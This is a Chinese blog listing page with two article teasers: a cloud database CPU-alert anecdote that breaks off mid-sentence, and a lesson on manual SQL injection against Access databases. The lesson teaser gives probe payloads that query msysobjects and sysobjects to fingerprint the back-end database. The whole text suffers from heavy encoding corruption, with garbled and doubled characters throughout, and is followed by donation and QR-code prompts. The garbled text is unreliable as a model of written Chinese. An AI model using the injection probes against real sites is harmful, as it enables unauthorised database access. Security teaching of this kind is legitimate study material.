    前言 : 在廣州這座城市下著小雨的晚上,我正在廚房洗著碗,突然手機有來電,脫下手套,一看是來自阿里云的告警電話。打開飛書查看告警內(nèi)容,發(fā)現(xiàn)某個業(yè)務(wù)的RDS只讀實例CPU飚到100%,下意識覺得是不是有慢查詢導(dǎo)致,想著不會有啥問題,上去kill慢查就好了,結(jié)果發(fā)現(xiàn)是

    2024年03月19日
    瀏覽(25)
  • 網(wǎng)絡(luò)安全進階學(xué)習(xí)第十二課——SQL手工注入3(Access數(shù)據(jù)庫)

    網(wǎng)絡(luò)安全進階學(xué)習(xí)第十二課——SQL手工注入3(Access數(shù)據(jù)庫)

    判斷數(shù)據(jù)庫類型 —— 判斷表名 —— 判斷列名 —— 判斷列名長度 —— 查出數(shù)據(jù)。 asp的網(wǎng)站,常用數(shù)據(jù)庫為access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述語句 會返回1或者0 。 msysobjects是access的默認數(shù)據(jù)庫 , sysobjects是sqlserv

    2024年02月11日
    瀏覽(29)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包